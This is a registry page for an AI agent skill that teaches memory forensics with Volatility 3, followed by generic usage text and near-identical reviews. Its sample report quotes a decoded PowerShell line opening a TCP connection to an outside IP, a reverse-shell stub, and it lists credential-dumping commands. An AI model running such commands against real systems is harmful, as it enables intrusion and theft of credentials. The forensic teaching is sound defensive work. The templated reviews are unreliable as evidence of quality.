analyzing-memory-dumps-with-volatility
Analyzes RAM memory dumps from compromised systems using the Volatility framework to identify malicious processes, injected code, network connections, loaded modules, and extracted credentials. Supports Windows, Linux, and macOS memory forensics. Activates for requests involving memory forensics, RAM analysis, volatile data examination, process injection detection, or memory-resident malware investigation.
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Installation Guide
How to use analyzing-memory-dumps-with-volatility on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your machine
- ›Node.js 16+ with npm — verify with
node --version - ›Active project directory where you want to add
analyzing-memory-dumps-with-volatility
Run the install command
Execute the skills CLI command in your project's root directory to begin installation:
Fetches analyzing-memory-dumps-with-volatility from mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate analyzing-memory-dumps-with-volatility. Access via /analyzing-memory-dumps-with-volatility in your agent's command palette.
Security Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Documentation
| name | analyzing-memory-dumps-with-volatility |
| description | 'Analyzes RAM memory dumps from compromised systems using the Volatility framework to identify malicious processes, injected code, network connections, loaded modules, and extracted credentials. Supports Windows, Linux, and macOS memory forensics. Activates for requests involving memory forensics, RAM analysis, volatile data examination, process injection detection, or memory-resident malware investigation. ' |
| domain | cybersecurity |
| subdomain | malware-analysis |
| tags | - malware - memory-forensics - Volatility - RAM-analysis - incident-response |
| mitre_attack | - T1055 - T1003 - T1059 - T1620 |
| version | 1.0.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - DE.AE-02 - RS.AN-03 - ID.RA-01 - DE.CM-01 |
Analyzing Memory Dumps with Volatility
When to Use
- A compromised system's RAM has been captured and needs forensic analysis for malware artifacts
- Detecting fileless malware that exists only in memory without persistent disk artifacts
- Extracting encryption keys, passwords, or decrypted configuration from process memory
- Identifying process injection, DLL injection, or process hollowing in a compromised system
- Analyzing rootkit activity that hides from standard disk-based forensic tools
Do not use for disk image analysis; use Autopsy, FTK, or Sleuth Kit for disk forensics.
Prerequisites
- Volatility 3 installed (
pip install volatility3) with symbol tables for target OS - Memory dump file acquired from the target system (using WinPmem, LiME, or DumpIt)
- Knowledge of the source OS version for correct profile/symbol selection
- Sufficient disk space (memory dumps can be 4-64 GB)
- YARA rules for scanning memory for known malware signatures
- Strings utility for extracting readable strings from memory regions
Workflow
Step 1: Identify the Memory Dump Profile
Determine the operating system and version from the memory dump:
# Volatility 3: Automatic OS detection
vol3 -f memory.dmp windows.info
# List available plugins
vol3 -f memory.dmp --help
# If symbols are needed, download from:
# https://downloads.volatilityfoundation.org/volatility3/symbols/
# For Volatility 2 (legacy):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan
Step 2: Enumerate Running Processes
List all processes and identify suspicious entries:
# List all processes
vol3 -f memory.dmp windows.pslist
# Process tree (parent-child relationships)
vol3 -f memory.dmp windows.pstree
# Scan for hidden/unlinked processes (rootkit detection)
vol3 -f memory.dmp windows.psscan
# Compare pslist vs psscan to find hidden processes
# Processes in psscan but not pslist are potentially hidden by rootkits
# Check for process hollowing
vol3 -f memory.dmp windows.pslist --dump
# Then verify the dumped EXE matches the expected binary on disk
Suspicious Process Indicators:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe not spawned by services.exe (wrong parent)
- csrss.exe/lsass.exe with unusual parent process
- Multiple instances of lsass.exe (should be only one)
- Processes with misspelled names (scvhost.exe, lssas.exe)
- cmd.exe or powershell.exe spawned by WINWORD.EXE or browser
- Processes running from unusual paths (%TEMP%, %APPDATA%)
- Processes with no parent (orphaned - parent terminated)
Step 3: Detect Malicious Code Injection
Scan for injected code and process hollowing:
# Detect injected code in processes (malfind)
vol3 -f memory.dmp windows.malfind
# Malfind looks for:
# - Memory regions with PAGE_EXECUTE_READWRITE protection
# - Memory regions containing PE headers (MZ/PE signature)
# - VAD (Virtual Address Descriptor) anomalies
# Dump injected memory regions for analysis
vol3 -f memory.dmp windows.malfind --dump --pid 2184
# List loaded DLLs per process
vol3 -f memory.dmp windows.dlllist --pid 2184
# Detect hollowed processes by comparing mapped image to disk
vol3 -f memory.dmp windows.hollowfind
# Scan for loaded drivers (potential rootkit drivers)
vol3 -f memory.dmp windows.driverscan
# List kernel modules
vol3 -f memory.dmp windows.modules
Step 4: Analyze Network Connections
Extract active and closed network connections:
# List all network connections (active and listening)
vol3 -f memory.dmp windows.netscan
# Output columns: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner
# Filter for established connections to external IPs
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED
# For older Windows (XP/2003):
vol3 -f memory.dmp windows.netstat
# Cross-reference PIDs with process list
# Suspicious: svchost.exe connected to external IP on non-standard port
# Suspicious: notepad.exe or calc.exe with network connections
Step 5: Extract Artifacts and Credentials
Recover sensitive data from memory:
# Dump process memory for a specific PID
vol3 -f memory.dmp windows.memmap --dump --pid 2184
# Extract command-line history
vol3 -f memory.dmp windows.cmdline
# Extract environment variables
vol3 -f memory.dmp windows.envars --pid 2184
# Registry analysis (extract Run keys for persistence)
vol3 -f memory.dmp windows.registry.printkey \
--key "Software\Microsoft\Windows\CurrentVersion\Run"
# Extract hashed/cached credentials
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump
# Extract clipboard contents
vol3 -f memory.dmp windows.clipboard
# File extraction from memory
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560
Step 6: Scan Memory with YARA Rules
Apply YARA signatures to detect known malware in memory:
# Scan entire memory dump with YARA rules
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar
# Scan specific process memory
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184
# Built-in YARA scan for common patterns
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"
# Scan for encryption key material
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"
Step 7: Timeline and Report Generation
Create an analysis timeline and compile findings:
# Generate comprehensive timeline
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv
# Timeline includes:
# - Process creation/exit times
# - Network connection timestamps
# - Registry modification times
# - File access times
# Export process list for reporting
vol3 -f memory.dmp windows.pslist --output csv > processes.csv
# Export network connections
vol3 -f memory.dmp windows.netscan --output csv > network.csv
Key Concepts
| Term | Definition |
|---|---|
| Memory Forensics | Analysis of volatile memory (RAM) contents to identify running processes, network connections, and in-memory artifacts that may not exist on disk |
| Process Hollowing | Malware technique of creating a legitimate process in suspended state, replacing its memory with malicious code, then resuming execution |
| Malfind | Volatility plugin detecting injected code by identifying memory regions with executable permissions and PE headers in non-image VADs |
| VAD (Virtual Address Descriptor) | Windows kernel structure tracking memory regions allocated to a process; anomalies in VADs indicate injection or hollowing |
| EPROCESS | Windows kernel structure representing a process; rootkits unlink EPROCESS entries to hide processes from standard tools |
| Pool Tag Scanning | Memory forensics technique scanning for kernel object pool tags to find objects (processes, files, connections) even when unlinked |
| Fileless Malware | Malware that operates entirely in memory without creating files on disk; only detectable through memory forensics |
Tools & Systems
- Volatility 3: Open-source memory forensics framework supporting Windows, Linux, and macOS memory analysis with plugin architecture
- WinPmem: Memory acquisition tool for Windows systems that creates raw memory dumps for offline analysis
- LiME (Linux Memory Extractor): Loadable kernel module for capturing Linux system memory dumps
- Rekall: Alternative memory forensics framework with some unique analysis capabilities (discontinued but still useful)
- MemProcFS: Memory process file system allowing mounting memory dumps as file systems for intuitive analysis
Common Scenarios
Scenario: Detecting Fileless Malware After EDR Alert
Context: EDR detected suspicious PowerShell activity but the threat actor cleaned up disk artifacts. A memory dump was captured before the system was rebooted. The analysis needs to identify the malware, its persistence mechanism, and any lateral movement.
Approach:
- Run
windows.pstreeto identify the process chain (which process spawned PowerShell) - Run
windows.malfindto detect injected code in running processes - Dump the suspicious process memory and extract strings for C2 URLs
- Run
windows.netscanto identify network connections from the compromised processes - Run
windows.cmdlineto see what commands PowerShell executed - Scan with YARA rules for known malware families in the dumped process memory
- Extract credentials with
hashdumpandlsadumpto assess lateral movement risk
Pitfalls:
- Using the wrong symbol tables for the OS version (causes plugin failures or incorrect results)
- Not comparing
pslistvspsscanoutput (missing rootkit-hidden processes) - Ignoring legitimate processes that have been injected into (focus on malfind results, not just process names)
- Not extracting full process memory before concluding analysis (strings from process dump may reveal additional IOCs)
Output Format
MEMORY FORENSICS ANALYSIS REPORT
===================================
Dump File: memory.dmp
Dump Size: 16 GB
OS Version: Windows 10 21H2 (Build 19044)
Capture Tool: WinPmem 4.0
Capture Time: 2025-09-15 14:35:00 UTC
SUSPICIOUS PROCESSES
PID PPID Name Path Anomaly
2184 1052 svchost.exe C:\Users\Admin\AppData\Temp\svchost.exe Wrong path
4012 2184 powershell.exe C:\Windows\System32\powershell.exe Child of fake svchost
3456 4012 cmd.exe C:\Windows\System32\cmd.exe Spawned by PowerShell
CODE INJECTION DETECTED (malfind)
PID 852 (explorer.exe):
Address: 0x00400000 Size: 98304 Protection: PAGE_EXECUTE_READWRITE
Header: MZ (embedded PE detected)
SHA-256 of dump: abc123def456...
NETWORK CONNECTIONS
PID Process Local Foreign State
2184 svchost.exe 10.1.5.42:49152 185.220.101.42:443 ESTABLISHED
4012 powershell.exe 10.1.5.42:49200 91.215.85.17:8080 ESTABLISHED
EXTRACTED CREDENTIALS
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
COMMAND LINE HISTORY
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
Decoded: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)
YARA MATCHES
PID 2184: rule CobaltStrike_Beacon { matched at 0x00401200 }
TIMELINE
14:10:00 svchost.exe (PID 2184) created from C:\Users\Admin\AppData\Temp\
14:10:05 Network connection to 185.220.101.42:443 established
14:12:30 powershell.exe (PID 4012) spawned by svchost.exe
14:15:00 Code injection into explorer.exe (PID 852) detected
14:20:00 Credential dump from LSASS process
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Use Cases
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Steps
- 1Install skill using provided installation command
- 2Test with simple use case relevant to your work
- 3Evaluate output quality and relevance
- 4Iterate on prompts to improve results
- 5Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
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Reviews
- DDiya Sanchez★★★★★Dec 28, 2024
analyzing-memory-dumps-with-volatility fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
- IIsabella Martinez★★★★★Dec 24, 2024
We added analyzing-memory-dumps-with-volatility from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- VValentina Chen★★★★★Dec 16, 2024
analyzing-memory-dumps-with-volatility is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- OOmar White★★★★★Dec 16, 2024
analyzing-memory-dumps-with-volatility reduced setup friction for our internal harness; good balance of opinion and flexibility.
- DDiya Okafor★★★★★Nov 23, 2024
We added analyzing-memory-dumps-with-volatility from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ZZaid Park★★★★★Nov 15, 2024
analyzing-memory-dumps-with-volatility reduced setup friction for our internal harness; good balance of opinion and flexibility.
- HHassan Abebe★★★★★Nov 7, 2024
Keeps context tight: analyzing-memory-dumps-with-volatility is the kind of skill you can hand to a new teammate without a long onboarding doc.
- SSofia Taylor★★★★★Nov 7, 2024
analyzing-memory-dumps-with-volatility has been reliable in day-to-day use. Documentation quality is above average for community skills.
- DDiya Mensah★★★★★Nov 7, 2024
analyzing-memory-dumps-with-volatility fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
- NNoor Bansal★★★★★Oct 26, 2024
We added analyzing-memory-dumps-with-volatility from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
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